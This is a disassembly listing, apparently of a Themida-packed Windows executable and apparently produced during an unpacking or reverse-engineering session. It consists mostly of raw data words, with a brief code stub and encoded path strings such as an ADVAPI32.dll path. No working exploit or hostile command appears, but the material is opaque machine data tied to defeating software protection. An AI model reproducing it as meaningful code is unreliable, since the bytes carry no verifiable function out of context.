341D2F40h dd 18E037CDh, 31DADF69h, 0EE00F9F7h, 0BFCE9028h, 2784025h dd 524DA162h, 1B00B98Ah, 1844ACCDh, 3934DE0Ch, 4E00773Ch dd 89189955h, 4FBA0Ah, 9E7DAC45h, 914C797Eh, 4ACCD600h dd 22C71CA7h, 7417B8Eh, 0F06B44DDh, 231B102Ah, 7E0E0E9Ch dd 0F2E645ACh, 73D63C43h, 0F8889BBDh, 0A1B882h, 5F373E1Bh dd 0F49DFA36h dd 3344B49h, 6EB58DF1h, 1A28F818h, 0E8200DAh, 0F932FF79h dd 1F15C675h, 5CE601h, 42F73FD8h, 3ED92A50h, 3998B23Dh dd 0F45AE4DDh, 0C1E98218h, 1D0B6B89h, 8305FBDCh, 3C7CF0Ah dd 287D39F0h, 1E06827Ch, 0C6863753h, 54F41831h, 275B68CBh dd 0F3AAF000h, 2638589Eh, 591F00D9h, 90B1A0BFh, 31094D7Ah dd 901DF462h, 2D6624h, 0DB01ED6Ah, 2E6BA0B3h, 8F3CC248h dd 0CF664F98h, 41A9C58Dh, 0CFDF8046h, 9170021h, 7218BD7Fh dd 1300C7F6h, 0EF24F754h, 50165AEAh, 7F8C98h, 0F37559B2h dd 0CE86B67Eh, 81B31D30h, 79F8353Dh, 0A0DDFED5h, 27283Ch dd 0A7FDC503h, 9605C68Ah, 0DEA0E604h, 0F88897B0h, 0DBB50FB8h dd 9020F593h, 2EAD6718h, 3D4F0B02h, 0AA9AB3B0h, 663548Ch dd 50C5B83Ch, 6EAA001Dh, 258C220Dh, 0F805D6ADh, 90B395D0h dd 42A03007h, 0E26A8E3Eh, 0E03579EFh, 122EB4C3h, 3124F926h dd 0D44115DCh, 30E17C8Bh, 9F487784h, 622A0204h, 2133DEAFh dd 60CEEE59h, 0D504EA5Fh, 0CFC2CDDBh, 9A148Ch, 0D89187D2h dd 75D58506h, 472DC501h, 3F66C762h, 133AE3F8h, 7587415h dd 4611CA80h, 4607E9C6h, 0E4BC48B0h, 501EA120h, 0A810B095h dd 17A1514h, 68DA1956h, 50BE9D30h, 8ACB2560h, 0C0355000h dd 7B59584h, 7C6CE0D4h, 36DE220Ah, 0D75C9A00h, 8B273041h dd 0F64E0061h, 44AD8CD0h, 0B109EE55h, 320B4C5h, 0BEE854E0h dd 421F0039h, 9AFD898Ah, 6700D126h, 249BFF9Eh, 18146C17h dd 0A92DE673h, 2A003B33h, 5C34CC48h, 0CD11AA7h, 7C8ADF7Fh dd 0BD006358h, 0EE75F608h, 1648C2Fh, 2DC4F5A5h, 607C10C6h dd 0B0111E1Ch, 0DF194590h, 0E8B58931h, 0C83B3024h, 885A0061h dd 0CD8D3D4Dh, 6B0F1E31h, 51B30BB1h, 3EBCD683h, 2041413Dh dd 131F0ACh, 1E66ED0Eh, 0E090742Ch, 0BE03851Dh, 30F3A413h dd 346BC046h, 0F468A08Bh, 0E049C03Fh, 1B5083AEh, 28164A09h dd 63708018h, 1986569h, 437DC6FDh, 63C23ECDh, 330500E4h dd 0BCC8EE6Bh, 0B98F04EDh, 0C0A13719h, 6D820383h, 0B0123818h dd 7C8E06A1h, 7CB33E2Dh, 2BF28B80h, 3B1DF0EFh, 2C84573Eh dd 7F60A891h, 2E38BCFEh, 0CE6BE11h, 9B49B21Dh, 973CAE00h dd 0AB19FD6Ah, 3B5D0731h, 0B5928144h, 16140012h, 232F4BE0h dd 1DF7F101h, 6DD1F4Ch, 0C03CF4D0h, 4B599269h, 8A3FC0B0h dd 798A5CD4h, 0E7F38100h, 87B2567Ch, 7664190Eh, 207808FEh dd 8F882808h, 9935009Ah, 17F4368Ah, 56003A37h, 64B80359h dd 54DEDA4Dh, 38F0DBh, 2696725Ch, 0B6765D0Ah, 3E45A907h dd 1CA0A031h, 70EF8E7h, 0BC561FBDh, 0B40BD006h, 0D441255h dd 96CD00B9h, 0F24B7E15h, 6D007A53h, 4D5BDB99h, 4BCCFC3h dd 0E924AB8Ah, 4C74015h, 4862FD2Bh, 6C1D5014h, 11300CCEh dd 0D77C6121h, 7610F6Fh, 1370F92Eh, 359F2C5Ah, 80192FE9h dd 0C4D5AB5Bh, 0A23CA90Fh, 70007E96h, 0C132B784h, 1266786Dh dd 20DD8A7Eh, 0CD9FDC68h, 1D2DE400h, 37FDB55Ah, 1D62E79h dd 4E40092Ch, 1E2EB490h, 16B23Fh, 0C312C7C4h, 0FF8448h dd 674C5A0Eh, 0F6A611F3h, 4093ED07h, 0C24EF97Fh, 4192EF32h dd 604044E8h, 0A4B669Ch, 1DD9B7E8h, 0E63E409Ch, 0F09DF438h dd 0B51A1657h, 884314A5h, 0B403AE00h, 57F7FEDDh, 28008C98h dd 0AFC8E667h, 500766B0h, 0B05988AAh, 22C4426Ch, 6F7D9Ah dd 1544857Fh, 0DA941637h, 174DDF01h, 9A6A6C1Dh, 16B06DD4h dd 7E3E67h, 99A67834h, 0B1444840h, 127905F6h, 80B05E5Bh dd 0F1EFFC1Ch, 0EC36AF07h, 0ABB226ADh, 308C4443h, 1339BD4Ch dd 0B744E6Ah, 90DDBC00h, 39C5EC51h, 588A5819h, 56E22EC0h dd 6402679Dh, 0CB5AF93h, 0EF2C0A1h, 0E8A8A184h, 0F03816F3h dd 62D8200Bh, 6F000443h, 17455CDBh, 4D99A7h, 4E8F0923h dd 0F39FBBCh, 95D26E00h, 16177B0Eh, 980B3011h, 0B36F5A41h dd 801CDE0h, 22D21B0Fh, 5C320B0Eh, 2DF96103h, 36D07F1Ah dd 0F0B9DD91h, 77C36000h, 4A6D8E7h, 0B3F3D217h, 0CC98C8BCh dd 30C8448h, 0BBF65F6h, 5E190042h, 147F2610h, 8F7F4AB2h dd 915FDE09h, 93E800BCh, 913337DBh, 309E1614h, 5CE0F97Ch dd 0E8CD1200h, 517AFC47h, 2767002Dh, 4A077EB0h, 407791EEh dd 4BCBA52h, 0ED8908BCh, 0AC029485h, 40AAF47Ch, 0F950118h dd 0AC943D47h, 87C6C580h, 0DF4CF08Ah, 75EA8004h, 0E41E3BD4h dd 0CDE50748h, 8F0E2ED5h, 456F188Fh, 26BC43FCh, 0B10029E9h dd 7B6EC5E4h, 96B42DAh, 0AC20823Eh, 62E39C00h, 80B9F456h dd 0B3B53400h, 0F2235Eh, 0B2E0719Dh, 8F467F70h, 0AAB04260h dd 0B8F6E3h, 0AF9CEEB3h, 658DE560h, 0E10B1230h, 0FE921595h dd 48FF016Dh, 9A711466h, 0BCE430EFh, 14980EE0h, 256460E7h dd 0F808DE89h, 8F656800h, 37F04E22h, 88A039Ah, 2BE9FB41h dd 0FEAD100h, 0D08D399Fh, 8A622496h, 94F8004Ch, 528370Ah dd 7C3CC700h, 1338EBB3h, 97881464h, 0D80020A4h, 722AE140h dd 0D958156Fh, 0E4022EACh, 22C4EC00h, 0C032BE2Eh, 544AA91h dd 9CFCB069h, 41C6574h, 6F45F5BCh, 0ACC72B36h, 9524924h dd 50820E64h, 1829B0BDh, 2ECDB5A8h, 310EE6BFh, 30D104A8h dd 7988100Ch, 0EE3604C2h, 88494092h, 0DE0B3F18h, 85547853h dd 8430388Ch, 16090D8h, 0A80B0781h, 20803B99h, 0CD0184D0h dd 0B7930A11h, 789E5306h, 26D868AAh, 174F7B3h, 0C1ACC264h dd 9C0208Ah, 44E6D228h, 3FBE1302h, 5ADF2EECh, 6F600BCh dd 7C24530Ch, 693C604Bh, 0A4FF00F7h, 52DC84FEh, 620E2E73h dd 67040398h, 0C10E8F13h, 0A0EA6A9Ch, 9DACE518h, 0D8B95008h dd 0DE8901FCh, 2E5A1184h, 0D2D44039h, 2F44E6D1h, 0B358267Eh dd 26230E25h, 0A87D38E3h, 30182E18h, 9C323799h, 0ABED41B0h dd 542CE0h, 63AF8DE9h, 2965D59Bh, 5C43834h, 2435C62Eh dd 50A2F0h, 0EBDE72B8h, 5C8451h, 8124FB0Ch, 0AD671C6Ch dd 0D42CC71Ah, 0B3F004B0h, 92FE898h, 395A12E8h, 3B070064h dd 7F9EB893h, 8037E8AFh, 0A9CD5640h, 690025A5h, 8422E53Fh dd 4C85C1C0h, 0A030A882h, 0CBA605C0h, 0A6484127h, 7418114Ch dd 66B20A7Dh, 49944434h, 9F56880h, 64036EACh, 0CB40D683h dd 38300E0Eh, 94349FE6h, 0B37B2222h, 20800803h, 0B03139BCh dd 0C1BE1DA8h, 9F4CC269h, 106AE4F3h, 0A6D5F000h, 0A27288ACh dd 356706Bh, 388053BCh, 34E8B87Ch, 0AF03A142h, 4B411E44h dd 0EB495809h, 4A8DFE00h, 0B3855F2Fh, 0F08EAB26h, 3812D98Ah dd 99EE8100h, 0BF8CBBh, 7CF4A80h, 0A8377F39h, 0DE407B00h dd 0E626CE9Dh, 0D4C1C0DAh, 92969E19h, 0F1837D01h, 44334160h dd 0B14A42ECh, 2EE60CDCh, 2F005B31h, 0D5C70118h, 136F67Fh dd 2003DC9Bh, 0F3E6D4B8h, 6064293Ch, 0D76CF04Ch, 4EDA0087h dd 7D7A71E2h, 9A25A34Ah, 0A8886062h, 0B4F9489Bh, 0D2FEB507h dd 615A1016h, 3CA8AA29h, 8901B4D6h, 3BA07211h, 5F85E4Ch dd 24357184h, 96581EFh, 88801183h, 0D11C311Ah, 0E739AC0Bh dd 511CA7D9h, 90624480h, 60354834h, 1FE5BC80h, 0B20B56ADh dd 0E213BACh, 0F4873050h, 7300483Dh, 0F1AD5C07h, 0FFDB0105h dd 752E1716h, 2022C9B7h, 0E3A3A10h, 0AA1C1F66h, 0FC24BD56h dd 0ADA210C7h, 0D851C9h, 0F98B0A6Fh, 0FAC0BF4Ah, 8AB3547Dh dd 613B0962h, 0EC007748h, 0AD6BA8A7h, 0C4723426h, 0B4307E16h dd 1FCB4AABh, 801E48E4h dd 718403F6h, 803B942Ch, 0AB650357h, 0A816BCF9h, 4B69438Ah dd 51A020AAh, 3EED589h, 869A3B03h, 81920B82h, 0C4340AE4h dd 50608A44h, 4F6072DFh, 5A45F4C8h, 22B4A0A5h, 5FAD16B0h dd 263C70CBh, 11E89862h, 59028D7Eh, 0ABC348DDh, 4FC487BBh dd 6844B9h, 9C88A1D3h, 59E9FFBh, 7F345B02h, 5A075A9Bh dd 9818987Ch, 601A542Ch, 1FA71E5h, 414F445Dh, 0EC892762h dd 5B0C4A5Ah, 29D2E99Ah, 0CDFA001Fh, 0DCF549FFh, 573DA98Ch dd 5D180EB2h, 0BB76E00Fh, 1675568Bh, 115B40EEh, 4B9FDC58h dd 44DB8Fh, 4BED4300h, 8CEF2F66h, 38D800D7h, 8939C07Eh dd 930E7AABh, 80F96740h, 21254EEEh, 20AA4C8Fh, 2639F31Eh dd 22EB8248h, 79101366h, 0D671D1h, 7B3CE7EDh, 48409EE5h dd 7E21B762h, 2C546099h, 48408B10h, 0EF0F28C0h, 0E73CDFF1h dd 10AA0F37h, 0A4C0BC16h, 0B4015A58h, 94BE4300h, 0FCA836D0h dd 952F1700h, 0C30DB61Ch, 99E6480Fh, 7EB38302h, 34619C4Dh dd 0E4DF1255h, 0F53600D4h, 85FD07B6h, 26053560h, 0CCCE976Bh dd 0FFFF012Fh, 0B6h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_57C2CA: ; CODE XREF: start:loc_513265j ; DATA XREF: start:loc_513086o jmp loc_57F81B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 10h dd 0 dd 28000000h, 0B18Bh, 2 dup(0) dd 0CB000000h, 480129ABh, 0FFB518h, 0Dh dup(0) dd 743FF800h, 6 dup(0) dd 86000000h, 0A30E1DE5h, 1980h, 7 dup(0) dd 38000000h, 0EBh, 6 dup(0) dd 0CB000000h, 129ABh, 94000000h, 7C90EBh, 6 dup(0) dd 80000000h, 12FEh, 5B000000h, 76F36Ch, 0Fh dup(0) dd 0E4000000h, 4700B18Eh, 7D4830h, 0 dd 1E000000h, 0DAh, 2 dup(0) dd 0FC000000h, 0A9F9h, 82000000h, 86B870h, 0D80004D0h dd 0B136h, 3 dup(0) dd 28004882h, 1D330h, 0Bh dup(0) dd 0B0000000h, 1D2FFh, 5 dup(0) dd 34000000h, 0CC005E90h, 176CB22h, 200h, 2 dup(0) dd 1000000h, 0 dd 32000000h, 3A8156h, 0 dd 0F3000000h, 0FFh, 0B2h dup(0) dd 208002h, 0DA000000h, 17C8111h, 90000000h, 76F217h, 7E000000h dd 7EDBBFh, 3 dup(0) dd 0F0000000h, 0D0h, 0A0000000h, 5AC5h, 81000000h, 277C9177h dd 2 dup(0) dd 38000000h, 0E80235h, 4 dup(0) dd 80000000h, 2, 4 dup(0) dd 24000000h, 0FFA50Ch, 2 dup(0) dd 0F000000h, 0B118h, 3 dup(0) dd 0A400C100h, 3F03EAh, 2 dup(0) dd 0E8000000h, 0FFFF9Ah, 0 dd 61000000h, 0E1C947A1h, 0FFA4FDh, 2 dup(0) dd 9000000h, 7A81E218h, 9, 4 dup(0) dd 0F7000000h, 0B41Ch, 24000000h, 46DB56h, 0ED000000h dd 83CA80h, 4 dup(0) dd 58000000h, 7C863Fh, 7 dup(0) dd 0D3000000h, 7485ECh, 0A14F8882h, 5B80h, 1000000h, 3 dup(0) dd 4B000000h, 1FD9A9h, 3 dup(0) dd 23000000h, 5B00h, 83000000h, 0F76EF0A4h, 7E0D5Dh, 2000000h dd 4 dup(0) dd 0C0000000h, 1C000000h, 0FFFF9Fh, 19h dup(0) dd 65000000h, 0FAA4D4h, 11000000h, 111111h, 0 dd 0D8000000h, 6DE28h, 2 dup(0) dd 94000000h, 7C90EBh, 2 dup(0) dd 54000000h, 12FFh, 0A0000000h, 0 dd 40000000h, 7C8026h, 3D000000h, 5802h, 1Ch dup(0) dd 65000000h, 73FAA4D4h, 57E1h, 0Ch dup(0) dd 0DF000000h, 0A9C530h, 5077DD00h, 0FDDD00h, 7 dup(0) dd 43000000h, 0E90057CFh, 0D6h, 29h dup(0) dd 33000000h, 6017h, 0E0000000h, 5C65h, 2 dup(0) dd 0C4000000h, 0C20012FFh, 0FFA478h, 2B000000h, 5ED8h dd 91000000h, 6D4AD1h, 12h dup(0) dd 0A000000h, 5C005E8Fh, 0B73Fh, 94000000h, 0E97C90EBh dd 0D6h, 3 dup(0) dd 2B0h, 0 dd 3E000000h, 5B87h, 18000000h, 0B129h, 48000000h, 0FAD284h dd 2 dup(0) dd 32000000h, 0B48Bh, 11h dup(0) dd 0FC000000h, 4493h, 4 dup(0) dd 0DF000000h, 5AFE07h, 2 dup(0) dd 0E2000000h, 4D971F8h, 0FF000000h, 0FFFFFFh, 8 dup(0) dd 2B000000h, 5ED8h, 6 dup(0) dd 0ED000000h, 1005FE0h, 2 dup(0) dd 0F9000000h, 3C7C90DDh, 0FFFF8Bh, 2 dup(0) dd 1000000h, 0Dh dup(0) dd 94000000h, 5F00h, 2 dup(0) dd 0C0000000h, 838213h, 2 dup(0) dd 94000000h, 7C90EBh, 5 dup(0) dd 9D000000h, 0FFA2B7h, 7 dup(0) dd 8B000000h, 0DD8F0Bh, 5A000000h, 5F4Dh, 0 dd 0FA000000h, 900000F4h, 7 dup(0) dd 0D1000000h, 7, 0FC000000h, 0A62938E7h, 0D8005C32h, 5FE1h dd 7 dup(0) dd 0FF000000h, 5B98h, 0 dd 4010h, 4000000h, 0 dd 0BB000000h, 5F23h, 3 dup(0) dd 0D0000000h, 0E100B19Fh, 49005E3Fh, 8CC9EBh, 2 dup(0) dd 0F5000000h, 6Dh, 3 dup(0) dd 94000000h, 8900003Dh, 4005D4Bh, 5BD5h, 4000h, 8 dup(0) dd 30000000h, 0AB43B4h, 0 dd 34000000h, 5B66h, 80000000h, 0ADFFE9h, 6 dup(0) dd 26E00h, 0B8000000h, 0B7D9D5h, 0 dd 3000000h, 0B1FAh, 0 dd 0DF000000h, 30h, 5 dup(0) dd 0DB000000h, 25005FFEh, 0B10Ah, 8 dup(0) dd 0B8000000h, 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_57CF4F retn 18h ; --------------------------------------------------------------------------- loc_57CF4F: ; CODE XREF: Themida_:0057CF4Aj mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0B1FA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 13h dup(0) dd 8B000000h, 0FF0908h, 28000000h, 41005C54h, 5AF9h, 4 dup(0) dd 43000000h, 5C03h, 0 dd 50026F00h, 5F20h, 9E000000h, 0FFA493h, 6 dup(0) dd 74000000h, 0E800016Bh, 0F100000Fh, 0CB249Bh, 8 dup(0) dd 93000000h, 5CC5h, 4 dup(0) dd 0FF000000h, 0FFFFFFh, 0 dd 42000000h, 1600B118h, 5B52h, 4 dup(0) align 10h dd 5B5Ch, 0 dd 23000000h, 5B00h, 94000000h, 7C90EBh, 7 dup(0) dd 73000000h, 57E1h, 0CB000000h, 129ABh, 3 dup(0) dd 0A4000000h, 12FFh, 4 dup(0) dd 3000000h, 47013750h, 5C95h, 3 dup(0) dd 0B100h, 5 dup(0) dd 0E000000h, 0A17C8018h, 5B80h, 0FE000000h, 0DB005D9Eh dd 37439F3h, 5BE9h, 0 dd 0A4000000h, 0AC0012FFh, 6021h, 7 dup(0) dd 29000000h, 0F571D3Dh, 0B118h, 0BF000000h, 1B3FFh, 26D00h dd 0 dd 73000000h, 0FFA1F9h, 2 dup(0) dd 8C000000h, 3 dup(0) dd 0EA000000h, 69005AFBh, 7457E9h, 4 dup(0) dd 0F6000000h, 682F5Dh, 9000000h, 0FFA0C2h, 3 dup(0) dd 1000000h, 0DF000000h, 0A9C530h, 0 dd 89000000h, 5EDDh, 8 dup(0) dd 0FC000000h, 3C0057EFh, 245Fh, 5 dup(0) dd 5F000000h, 0D3h, 5 dup(0) dd 0A3000000h, 0CDA680h, 0Ch dup(0) dd 98000000h, 0FFFFA3h, 0 dd 24000000h, 6Ah, 0F6000000h, 5BDDEAh, 3 dup(0) dd 10000000h, 0FFFDEAh, 80000000h, 7C803Bh, 10h dup(0) dd 77000000h, 0E97C810Ah, 2C0000EDh, 25300h, 0 dd 1B000000h, 5B64h, 3 dup(0) dd 3C000000h, 0B11Ah, 3F000000h, 5E95h, 8 dup(0) dd 0CB000000h, 129ABh, 0 dd 0DD000000h, 0E77CDBEBh, 2 dup(0) dd 1B000000h, 57CCh, 4 dup(0) dd 64000000h, 0 dd 0FE7E4100h, 39EF7Dh, 0Dh dup(0) dd 1B000000h, 3DF1F9h, 0 dd 27000000h, 5AF9h, 3 dup(0) dd 4D000000h, 0FFFEA3h, 88000000h, 8C000000h, 0FFFF95h dd 3 dup(0) dd 64000000h, 4 dup(0) dd 0BE000000h, 0FF4EE7h, 0 dd 7C8000h, 6D000000h, 8700600Ah, 0A7D2h, 0 dd 0AD000000h, 7E41A8h, 0 dd 83000000h, 77DD78h, 3 dup(0) dd 36000000h, 0FF363636h, 0FFFFFFh, 3 dup(0) dd 0CE000000h, 200000E9h, 0B18Dh, 4 dup(0) dd 6C000000h, 14h, 2 dup(0) dd 0F000000h, 7700B118h, 7C801Dh, 5 dup(0) dd 47000000h, 107C809Bh, 0C1000027h, 7C80ABh, 2 dup(0) dd 4000h, 5 dup(0) dd 36000000h, 0FF9FDDh, 6 dup(0) dd 0D5000000h, 8048B125h, 23000000h, 5B00h, 0ED000000h dd 7276E0h, 5 dup(0) dd 36000000h, 0AD005F02h, 0B3FCh, 0E8000000h, 0FE8ECCh dd 0 dd 24000000h, 0BA7C801Ah, 1113000h, 5 dup(0) dd 0E7000000h, 5 dup(0) dd 9D000000h, 360752h, 8 dup(0) dd 1B000000h, 6577DFC4h, 0FAA4D4h, 3 dup(0) dd 0A0000000h, 7C80ADh, 4 dup(0) dd 0B6000000h, 89005A6Dh, 0FFFFFFh, 46000000h, 5B66h, 4 dup(0) dd 0DF000000h, 0A9C530h, 0DA000000h, 100A7Eh, 72000000h dd 5C94h, 2 dup(0) dd 0B5000000h, 5BE7h, 0 dd 82h, 2 dup(0) dd 7000000h, 600EDCh, 0 dd 0CF000000h, 7C80B4h, 0 dd 0BC000000h, 225214h, 0Ah dup(0) dd 68000000h, 39000000h, 7F4F88CDh, 3AD9DFh, 0 dd 0F0000000h, 12FFh, 2 dup(0) dd 18000000h, 7C90EEh, 94000000h, 997BEBh, 2 dup(0) dd 6C000000h, 836F14h, 37000000h, 2C9100h, 11h dup(0) dd 31000000h, 3A3ED7h, 0E0000000h, 5D0Eh, 38000000h, 4662B81Ch dd 75ACAh, 3 dup(0) dd 0B0000000h, 5EB9h, 0E7000000h, 0Ah dup(0) dd 10000000h, 5C953h, 3 dup(0) dd 8D7C9000h, 1F3137h, 2 dup(0) dd 3C000000h, 0FFFF8Bh, 3 dup(0) dd 34000000h, 5B66h, 12h dup(0) dd 6A000000h, 8BB81h, 7 dup(0) dd 18000000h, 417C90EEh, 5E36h, 16h dup(0) dd 28000000h, 7801D330h, 0B428h, 0C2000000h, 5D4Bh, 0 dd 34000000h, 5B66h, 2 dup(0) dd 6C000000h, 836F14h, 7 dup(0) dd 94000000h, 3Dh, 94026C00h, 3Dh, 6C000000h, 0D0003FC2h dd 14Ch, 2 dup(0) dd 0BC000000h, 9 dup(0) dd 78000000h, 43D57Bh, 0Ah dup(0) dd 25300h, 0 dd 0B100h, 5F000000h, 17FC93h, 3 dup(0) dd 0D7000000h, 0FFA2CFh, 2 dup(0) dd 0B0000000h, 182FFh, 0 dd 0B0000000h, 152FFh, 19000000h, 0 dd 64000000h, 0Ah dup(0) dd 0A7000000h, 0CDD191h, 0 dd 1000000h, 24000000h, 242424h, 0 dd 46001100h, 5B83h, 2 dup(0) dd 8B000000h, 1DD8F0Bh, 36000000h, 5F02h, 0Bh dup(0) dd 3E000000h, 5B87h, 3000000h, 0B1FAh, 94000000h, 7C90EBh dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ch dup(0) dd 0CB000000h, 129ABh, 4 dup(0) dd 44000000h, 321514h, 44000000h, 0B11Ah, 3 dup(0) dd 0F1000000h, 0F3A16Bh, 7C000000h, 44000059h, 0CE8A4D3Dh dd 5BE9h, 0 dd 18000000h, 6B7C90EEh, 0D402C1E0h, 3 dup(0) dd 83000000h, 5EB7h, 2 dup(0) dd 0CB000000h, 129ABh, 0 dd 0CF000000h, 0B1A8h, 2 dup(0) dd 23000000h, 0D3005B00h, 5EF3h, 5 dup(0) align 10h dd 4B76F212h, 3 dup(0) dd 0E9000000h, 13h, 5 dup(0) dd 0CE000000h, 0C535FBD1h, 5F27h, 4 dup(0) dd 90000000h, 0F9005C42h, 3A92AFh, 0Eh dup(0) dd 94000000h, 7C90EBh, 0 dd 0A4000000h, 12FFh, 3 dup(0) dd 37000000h, 77DDEEh, 0E8000000h, 14h, 8 dup(0) dd 8D000000h, 2005A75h, 0F4000000h, 5BF1h, 3 dup(0) dd 0BC000000h, 40187Eh, 3 dup(0) dd 0CB000000h, 129ABh, 4 dup(0) dd 40000000h, 0B11Ah, 4 dup(0) dd 6C000000h, 44000000h, 0C246DAh, 2 dup(0) dd 3000000h, 0FFA1DAh, 2 dup(0) dd 0A8000000h, 0E700144Bh, 81FD10E1h, 7C9177h, 3000000h dd 0B1FAh, 2 dup(0) dd 54000000h, 12FFh, 0FF000000h, 0FFFFFFh, 3 dup(0) dd 0F7000000h, 35707F9Fh, 0FED654h, 0 dd 28000000h, 5B67h, 2 dup(0) dd 0F2000000h, 7C814Ah, 0Ah dup(0) dd 8A000000h, 32DBE4h, 0 dd 18000000h, 0EC0000EEh, 0B137h, 2 dup(0) dd 84000000h, 94000000h, 347C90EBh, 5B66h, 8 dup(0) dd 0BA000000h, 0FB85F68h, 2400B118h, 6400B10Eh, 7C802Ch dd 3 dup(0) dd 3E000000h, 0B100h, 0CB000000h, 6022h, 2 dup(0) dd 3E000000h, 0FFF908h, 3 dup(0) dd 9000000h, 8F8060h, 9 dup(0) dd 0BF000000h, 0FFA506h, 29h dup(0) dd 2E000000h, 0DA10F7FDh, 7C81CDh, 0 dd 0C8000000h, 5F2D38h, 0F000000h, 0B73Fh, 0FD000000h dd 96E3Ch, 5E000000h, 0FA4429h, 0 dd 23000000h, 5B00h, 0CD000000h, 0DE4C669Bh, 7C80ABh, 9 dup(0) dd 0E5000000h, 0B731h, 0E000000h, 7C8018h, 200h, 0 dd 18000000h, 0DD372Ah, 0E7000000h, 77DDEBh, 0 dd 0E0000000h, 12FFh, 9 dup(0) dd 9E000000h, 91E5B6h, 0 dd 17000000h, 0B194h, 6 dup(0) dd 51000000h, 2900B18Eh, 10449BFh, 0 dd 6C000000h, 6011h, 9 dup(0) dd 0F000000h, 0B118h, 0CF000000h, 7DBFD3h, 5 dup(0) dd 94000000h, 7C9068h, 0 dd 8D000000h, 0FFA81Eh, 7 dup(0) dd 5E000000h, 0FA4429h, 5 dup(0) dd 0B9000000h, 15CBC1h, 0E4000000h, 23h, 3 dup(0) dd 0B5000000h, 7DF713h, 94000000h, 7C90EBh, 5 dup(0) dd 8000000h, 0BD00B1B5h, 1C7AFAC2h, 7D000008h, 0F100008Dh dd 0F4FF4EE7h, 1, 0BA000000h, 0EEDA22h, 0 dd 34000000h, 0CFFDEh, 2 dup(0) dd 94000000h, 8F7C90EBh, 0A1836F04h, 0C000B1AAh, 5EB6h dd 3 dup(0) dd 8D00B100h, 0FFA81Eh, 0 dd 26D00h, 75000000h, 5EF5h, 0 dd 23000000h, 5C64h, 1, 7 dup(0) dd 0E9000000h, 5F03h, 6 dup(0) dd 5C000000h, 0FF9F78h, 3 dup(0) dd 54000000h, 12FFh, 6 dup(0) dd 15000000h, 0FFFFCBh, 0 dd 0F4000000h, 7FAh, 0Eh dup(0) dd 2000000h, 562B30h, 0 dd 72000000h, 5C94h, 0 dd 0BA00A600h, 0EC113000h, 62FEB3h, 0E9000000h, 7781EDh dd 0Dh dup(0) dd 0AD000000h, 0BA7E41A8h, 113000h, 0 dd 0D4000000h, 9A025C6Dh, 1F005AFBh, 57DEh, 24224500h dd 0FFA50Ch, 5 dup(0) dd 0FB000000h, 0BF0057EFh, 573EDDh, 3 dup(0) dd 0CB000000h, 7865571Fh, 0B691h, 4 dup(0) dd 0EB000000h, 93000060h, 0B224h, 80000000h, 229FEBh, 0 dd 9C000000h, 4 dup(0) dd 94000000h, 0AC7C90EBh, 0FFED00h, 5 dup(0) dd 6C000000h, 836F14h, 3 dup(0) dd 94000000h, 3 dup(0) dd 5B000000h, 0A176B44Eh, 7C80BEh, 0C8000000h, 9C9A05h dd 0 dd 0F0005110h, 72h, 5 dup(0) dd 69004882h, 0B71Eh, 97000000h, 0CCh, 3 dup(0) dd 0BA000000h, 5E113000h, 0FA4429h, 40000000h, 0B11Ah dd 7 dup(0) dd 57000000h, 5D50h, 3 dup(0) dd 0E5000000h, 77DDEDh, 3 dup(0) dd 68000000h, 836F8Eh, 3 dup(0) dd 0FD000000h, 0FFA416h, 2 dup(0) dd 97000000h, 57CCh, 0BF000000h, 573EDFh, 0A4000000h, 6087h dd 0 dd 2C000000h, 5D4Bh, 0 dd 1000000h, 5000000h, 0A2801h, 3 dup(0) dd 94000000h, 7C90EBh, 0Fh dup(0) dd 0D4000000h, 13F3E8A3h, 0E700B702h, 47A7DFh, 0Bh dup(0) dd 0F6000000h, 5BDDEAh, 2 dup(0) dd 94000000h, 0F67C90EBh, 7C801Bh, 2 dup(0) dd 1000000h, 0A0000000h, 6007h, 0 dd 34000000h, 0C2005B66h, 5AFBh, 0Ah dup(0) dd 94000000h, 0A07C90EBh, 5 dup(0) dd 16000000h, 5EA12Eh, 0 dd 69000000h, 0A4672681h, 0 dd 74000000h, 865559h, 2 dup(0) dd 60000000h, 0FFA30Dh, 3 dup(0) dd 97000000h, 230000CCh, 0A1005B00h, 4400B1AEh, 3C246DAh dd 0B1FAh, 0 dd 3000000h, 5BE9h, 0 dd 0F1000000h, 0FF4EE7h, 8 dup(0) dd 29400h, 0E8000000h, 200246h, 2 dup(0) dd 0C8000000h, 12FEh, 3 dup(0) dd 1, 2 dup(0) dd 0FF000000h, 0A9C529h, 2 dup(0) dd 22000000h, 5B87h, 0 dd 84000000h, 5426D4h, 3 dup(0) dd 60000000h, 0FFFFFFh, 0D7000000h, 0A8E2C2h, 0 dd 94000000h, 0BF7C90EBh, 0EDE223ECh, 88D950h, 0 dd 65000000h, 0FAA4D4h, 6 dup(0) dd 94000000h, 7C90EBh, 2 dup(0) dd 38000000h, 5C99h, 0E9000000h, 10B7h, 3 dup(0) dd 78000000h, 962h, 4 dup(0) dd 0CB000000h, 129ABh, 0Ah dup(0) dd 94000000h, 7C90EBh, 9 dup(0) dd 40000000h, 0B8C8h, 0F4000000h, 258447h, 2 dup(0) dd 20h, 14h dup(0) dd 0EB000000h, 464934h, 0Bh dup(0) dd 0CE000000h, 6 dup(0) dd 0FF000000h, 7FDFFFh, 4 dup(0) align 8 dd 0FFFFA3h, 0 dd 30000000h, 0AB43B4h, 3 dup(0) dd 21000000h, 0F0FB70h, 0 dd 0D0000000h, 0B10Eh, 2 dup(0) dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 83h dup(0) dd 74000000h, 2Bh, 0 dd 70000000h, 3000000h, 0FFFFFAh, 3 dup(0) dd 94000000h, 547C90EBh, 3E0012FFh, 5CEBh, 6 dup(0) dd 1F000000h, 5B02h, 94000000h, 7C90EBh, 0E7000000h, 11h dup(0) dd 3000000h, 57C9h, 2 dup(0) dd 0BA000000h, 0B2113000h, 5C18h, 0 dd 35000000h, 0FFA471h, 19h dup(0) dd 54004000h, 12FFh, 2 dup(0) dd 0FA000000h, 427872h, 